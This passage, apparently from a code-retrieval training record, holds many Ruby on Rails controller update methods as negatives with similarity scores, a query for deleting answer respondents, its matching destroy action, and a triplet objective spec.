|format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n def answer_given(question_id)\n return (params[:answer] and params[:answer][question_id.to_s] and\n params[:answer][question_id.to_s].length > 0)\n end\n \n @resp = Response.find(params[:id])\n\n @questionnaire.questions.each do |question|\n if question.kind_of? Questions::Field\n ans = Answer.find_answer(@resp, question)\n if answer_given(question.id)\n if ans.nil?\n ans = Answer.new :question_id => question.id, :response_id => @resp.id\n end\n ans.value = params[:answer][question.id.to_s]\n ans.save\n else\n # No answer provided\n if not ans.nil?\n ans.destroy\n end\n end\n end\n end\n\n respond_to do |format|\n if @resp.update_attributes(params[:response])\n format.html { redirect_to(response_url(@questionnaire, @resp)) }\n format.js { redirect_to(response_url(@questionnaire, @resp, :format => \"js\")) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.js { render :action => \"edit\" }\n format.xml { render :xml => @resp.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question_answer = Question::Answer.find(params[:id])\n\n respond_to do |format|\n if @question_answer.update_attributes(params[:question_answer])\n format.html { redirect_to @question_answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to answers_path, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Respuesta actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n if @client_answer.update_attributes(params[:client_answer])\n format.html { redirect_to @client_answer, notice: 'Client answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find_by_uuid(params[:id])\n @question = @answer.question\n\n respond_to do |format|\n begin\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.uuid), notice: 'Your answer was successfully saved.' }\n format.json { render json: @answer, status: :created, location: answer_path(@answer.uuid) }\n else\n format.html { render action: \"edit\", location: edit_answer_path(@answer.uuid) }\n format.json { render json: @answer.errors, status: :unprocessable_entity, location: edit_answer_path(@answer.uuid) }\n end\n rescue ActiveRecord::ReadOnlyRecord\n format.html { redirect_to answer_path(@answer.uuid), notice: \"You cannot change the answer\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity, location: answer_path(@answer.uuid) }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer.question, notice: 'Respuesta actualizada satisfactoriamente' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:comment])\n format.html { redirect_to @answer }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @asked_to_answer.update(asked_to_answer_params)\n format.html { redirect_to @asked_to_answer, notice: 'Asked to answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @asked_to_answer }\n else\n format.html { render :edit }\n format.json { render json: @asked_to_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @answer.update(answer_params)\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:edit, @answer)\n end\n end", "def answer_respondent_params\n params.require(:answer_respondent).permit(:answer_id, :respondent_id)\n end", "def update\n appointment_request = current_user.pending_requests.find(\n params[:request_id]\n )\n\n case params[:answer]\n when 'accept'\n if appointment_request.accept!\n redirect_to root_path\n else\n render status: 500\n end\n when 'reject'\n if appointment_request.reject!\n redirect_to root_path\n else\n render status: 500\n end\n else\n render json: { appointment_request: appointment_request, status: 200 }\n end\n end", "def update\n @answer=AttemptAnswer.find_by_id(params[:id])\n \n @answer.update_attribute(:user_answer, params[:user_answer])\n if @answer.user_answer = params[:user_answer]\n render json: @answer, status: :no_content\n\n else\n head(:unprocessable_entity)\n\n end\n end", "def update\n respond_to do |format|\n if @fake_answer.update(fake_answer_params)\n format.html { redirect_to @fake_answer, notice: 'Fake answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @fake_answer }\n else\n format.html { render :edit }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n if @submitted_answer.update_attributes(params[:submitted_answer])\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n answer = Answer.find(params[:answer_id])\n if answer.update(content: params[:content])\n render json: {answer: answer, success: true} \n else\n render json: @answer.errors, success: false \n end\n end", "def update\n respond_to do |format|\n if @answer.post.update(embedded_post_params)\n format.js { head :no_content }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to([@question,@answer], :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @icebreaker_answer.update(icebreaker_answer_params)\n format.html { redirect_to @icebreaker_answer, notice: 'Icebreaker answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @icebreaker_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # Using first or create allows users to update their answer (or create it obviously)\n answer = Answer.where(:question_id => params[:question_id], :user_id => current_user.id).first_or_create! do |answer|\n answer.user_id = current_user.id\n answer.survey_id = params[:survey_id]\n answer.group_id = current_user.group.id\n answer.question_id = params[:question_id]\n answer.answer = params[:answer]\n\n @created = true\n\n if answer.save\n q = IQuestion.find_by_id(params[:question_id])\n\n if q.present?\n qdes = q.description\n else\n qdes = \"Orphaned question\"\n end\n\n s = ISurvey.find_by_id(params[:survey_id])\n\n if s.present?\n sdes = s.title\n else\n sdes = \"Orphaned survey\"\n end\n #sendCable(\"#{current_user.name} &lt;#{current_user.email}&gt;\", \"[#{sdes}] #{qdes}:\", params[:answer])\n\n render json:{\"continue\" => true}\n else\n render json:{\"continue\" => false}\n end\n end\n if !@created && answer\n answer.answer = params[:answer]\n if answer.save\n #sendCable(\"#{current_user.name} &lt;#{current_user.email}&gt;\", \"Updated Answer: \", params[:answer])\n render json:{\"continue\" => true}\n else\n render json:{\"continue\" => false}\n end\n end\n end", "def update\n respond_to do |format|\n if @submitted_answer.update(submitted_answer_params)\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @submitted_answer }\n else\n format.html { render :edit }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n if @answer.user == current_user\n @answer.approved = false\n end\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n @answer.create_activity :update, owner: current_user\n flash.now[:notice] = 'Answer was successfully updated.'\n format.html\n format.json { head :no_content }\n format.js { render \"answers/create\", :layout => false }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n format.js { render \"answers/create\", :layout => false }\n end\n end\n end", "def update\n @m_answer = MAnswer.find(params[:id])\n respond_to do |format|\n if @m_answer.update(m_answer_params)\n format.html { redirect_to m_question_path(@m_question), notice: 'M answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @m_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # Do not support updating an answer for now\n # Once you have answered there is no return\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rest\n @answer_localized = AnswerLocalized.find(params[:id])\n\n respond_to do |format|\n if @answer_localized.update_attributes(params[:answer_localized])\n flash[:notice] = 'AnswerLocalized was successfully updated.'\n format.html { redirect_to(@answer_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer_localized.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n if params[:question][:answer].present?\n @question.answered_by = current_user.id\n @question.answered_at = Time.zone.now if @question.answered_at.nil?\n end\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @actual_answer.update(actual_answer_params)\n format.html { redirect_to @actual_answer, notice: 'Actual answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @actual_answer }\n else\n format.html { render :edit }\n format.json { render json: @actual_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @reply\n\n respond_to do |format|\n if @reply.update(update_reply_params)\n format.html { redirect_to_reply @post, @reply }\n format.json { render json: @reply, status: :ok }\n else\n render_errors(@reply, format)\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to model_customer_path(@model, @customer), notice: 'Model was successfully updated.' }\n format.json { render :show, status: :ok, location: @model }\n else\n format.html { render :edit }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @answer = Answer.find_by_uuid(params[:id])\n if [email protected]?\n redirect_to(answer_path(@answer.uuid), notice: 'You have already answered this question.') and return\n end\n\n @question = @answer.question\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end", "def update\n respond_to do |format|\n if @api_v1_answer_comment.update(api_v1_answer_comment_params)\n format.html { redirect_to @api_v1_answer_comment, notice: 'Answer comment was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_answer_comment }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_answer_comment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n if @user_answer.update_attributes(params[:user_answer])\n format.html { redirect_to @user_answer, notice: 'User answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reply = Reply.find(params[:id])\n\n if @reply.update(params[:reply])\n head :no_content\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end", "def update\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answers = Answer.where(:question_id => @question.id)\n\n ans = [:answer1, :answer2, :answer3, :answer4]\n respond_to do |format|\n if @question.update_attributes(params[:question])\n \n @answers.each_with_index do |a, i|\n a.answer = params[ans[i]][:answer]\n a.correct = params[ans[i]][:correct]\n a.save\n end\n\n if @answers.size < 4 and params[ans[@answers.size]][:answer] != \"\"\n for i in @answers.size..4\n if params[ans[i]][:answer] != \"\"\n a = Answer.new(params[ans[i-1]])\n a.question_id = @question.id\n a.save\n end\n end\n end\n format.html { redirect_to(edit_problem_set_question_path(@problem_set.id, @question.count), :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Answer was successfully updated.'\n format.html { redirect_to answer_url(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors.to_xml }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Replie was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Admin::Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Admin::Answer was successfully updated.'\n format.html { redirect_to(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Answer was successfully updated.'\n format.html { redirect_to(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @answer = Answer.find_by_key(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.key), notice: 'Answer was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n\n respond_to do |format|\n if @multiple_choice_question.update_attributes(params[:multiple_choice_question])\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @selected_answer.update(selected_answer_params)\n format.html { redirect_to @selected_answer, notice: 'Selected answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @selected_answer }\n else\n format.html { render :edit }\n format.json { render json: @selected_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reply = Reply.find(params[:id])\n\n if @reply.update(reply_params)\n head :no_content\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end", "def update\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n if @textanswer.update_attributes(params[:textanswer])\n format.html { redirect_to @textanswer, notice: 'Textanswer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @textanswer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end", "def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end", "def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end", "def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end", "def update\n\n qp = question_params\n if qp[:question_type] == \"vignette\" or qp[:question_type] == \"nonchoice\"\n qp[:answer] = \"\"\n end\n\n respond_to do |format|\n if @question.update(qp)\n format.html { redirect_to paper_questions_path(question_params[:paper_id],question_params[:id]), notice: '題目已被成功編輯' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { redirect_to edit_paper_question_path, notice: '上傳檔案大小不可超過500KB' }\n format.json { render json: paper_questions_path.errors, status: :unprocessable_entity }\n end\n end\n end", "def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end", "def update\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n\trespond_to do |format|\n if @question.update(question_param)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\t\n end", "def update\n respond_to do |format|\n if @questionnaire.update(questionnaire_params)\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @responder = Responder.find(params[:id])\n\n respond_to do |format|\n if @responder.update_attributes(params[:responder])\n format.html { redirect_to @responder, :notice => 'Responder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @responder.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @answer.editable? && @answer.update(answer_params)\n format.html { redirect_to [@project, @discussion], notice: 'Answer was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update_question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to :planner, notice: 'Question was successfully updated.' }\n format.json { respond_with_bip(@question) }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey_choice = Survey::Choice.find(params[:id])\n\n respond_to do |format|\n if @survey_choice.update_attributes(params[:survey_choice])\n format.html { redirect_to @survey_choice, notice: 'Choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_choice.errors, status: :unprocessable_entity }\n5 end\n end\n end", "def update\n respond_to do |format|\n if @possible_answer.update(possible_answer_params)\n format.html { redirect_to @possible_answer, notice: 'Possible answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @possible_answer }\n else\n format.html { render :edit }\n format.json { render json: @possible_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipo_answer.update(tipo_answer_params)\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_answer }\n else\n format.html { render :edit }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reply = Reply.find(params[:id])\n @reply.replydescription = params[:replydescription]\n respond_to do |format|\n if @reply.update_attributes(params[:reply])\n format.html { redirect_to :controller => \"replies\" , :action => \"master\", notice: 'Reply was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end", "def update\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n if @question_response.update_attributes(params[:question_response])\n format.html { redirect_to @question_response, notice: 'Question response was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_response.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: \"Reply was successfully updated.\" }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @quiz_answer.update(quiz_answer_params)\n format.html { redirect_to @quiz_answer, notice: 'Quiz answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quiz_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render @post, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_answer.update(user_answer_params)\n format.html { redirect_to @user_answer, notice: 'User answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_answer }\n else\n format.html { render :edit }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_answer.update(user_answer_params)\n format.html { redirect_to @user_answer, notice: 'User answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_answer }\n else\n format.html { render :edit }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7230572", "0.7226345", "0.71595407", "0.71509564", "0.7144758", "0.7116835", "0.7072119", "0.70406055", "0.7026399", "0.7025212", "0.7024132", "0.6972862", "0.6972862", "0.6963989", "0.6931329", "0.69256085", "0.69256085", "0.69256085", "0.69216883", "0.6917072", "0.6915368", "0.68441343", "0.6819583", "0.6812929", "0.6811525", "0.6799917", "0.6780385", "0.6778598", "0.67648447", "0.673389", "0.6724207", "0.6695683", "0.6667368", "0.66629046", "0.66299796", "0.66097087", "0.6577705", "0.65750974", "0.6571913", "0.6570438", "0.6556074", "0.6541643", "0.6537338", "0.65323865", "0.65322787", "0.65322787", "0.65322787", "0.65196496", "0.65140826", "0.6494702", "0.6494216", "0.6489896", "0.6488332", "0.64865214", "0.648454", "0.64824784", "0.64738756", "0.64717764", "0.6465359", "0.64648443", "0.64578956", "0.645085", "0.64494497", "0.6445248", "0.6440703", "0.6436502", "0.64220154", "0.64117736", "0.64099514", "0.64087546", "0.64044005", "0.64044005", "0.64044005", "0.64035475", "0.6396665", "0.639237", "0.6390955", "0.6390013", "0.63717425", "0.63680077", "0.63595444", "0.6359092", "0.6353524", "0.63426304", "0.634083", "0.634083", "0.634083", "0.634083", "0.634083", "0.6340121", "0.6339479", "0.63368773", "0.6335497", "0.6330765", "0.63287395", "0.63234437", "0.6316844", "0.6311405", "0.63084453", "0.63084453" ]
0.7575017
0
DELETE /answer_respondents/1 DELETE /answer_respondents/1.json
def destroy @answer_respondent.destroy respond_to do |format| format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
